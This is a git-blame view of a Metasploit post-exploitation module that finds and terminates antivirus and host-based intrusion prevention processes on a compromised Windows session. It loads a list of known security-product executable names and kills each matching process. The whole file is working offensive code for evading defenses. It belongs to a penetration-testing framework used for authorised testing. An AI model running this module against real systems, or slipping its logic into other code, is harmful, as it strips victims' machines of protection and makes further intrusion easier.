Files
metasploit-gs/modules/post/windows/manage/killav.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

82 lines
2.2 KiB
Ruby
Raw Normal View History

##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Post
include Msf::Post::Process
2021-09-10 12:53:39 +01:00
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Windows Post Kill Antivirus and Hips',
'Description' => %q{
This module attempts to locate and terminate any processes that are identified
as being Antivirus or Host-based IPS related.
},
'License' => MSF_LICENSE,
'Author' => [
'Marc-Andre Meloche (MadmanTM)',
'Nikhil Mittal (Samratashok)',
'Jerome Athias',
'OJ Reeves'
],
'Platform' => ['win'],
'SessionTypes' => %w[meterpreter powershell shell],
'Notes' => {
'Stability' => [OS_RESOURCE_LOSS],
'Reliability' => [],
'SideEffects' => []
},
2021-10-06 13:43:31 +01:00
'Compat' => {
'Meterpreter' => {
'Commands' => %w[
stdapi_sys_process_get_processes
stdapi_sys_process_kill
]
}
}
2021-09-10 12:53:39 +01:00
)
)
end
def run
avs = ::File.read(
::File.join(
Msf::Config.data_directory,
'wordlists',
'av_hips_executables.txt'
)
)
avs = avs.strip.downcase.split("\n").uniq
skip_processes = [
2015-07-17 13:46:02 -05:00
'[system process]',
'system'
]
2015-07-17 13:46:02 -05:00
av_processes = get_processes.reject { |p| skip_processes.include?(p['name'].downcase) }.keep_if { |p| avs.include?(p['name'.downcase]) }
2023-02-08 13:47:34 +00:00
if av_processes.empty?
print_status('No target processes were found.')
return
end
2015-07-15 20:02:18 -04:00
processes_killed = 0
av_processes.each do |x|
process_name = x['name']
pid = x['pid']
2021-09-10 12:53:39 +01:00
print_status("Attempting to terminate '#{process_name}' (PID: #{pid}) ...")
if kill_process(pid)
processes_killed += 1
print_good("#{process_name} (PID: #{pid}) terminated.")
else
print_error("Failed to terminate '#{process_name}' (PID: #{pid}).")
end
end
print_good("A total of #{av_processes.length} process(es) were discovered, #{processes_killed} were terminated.")
end
end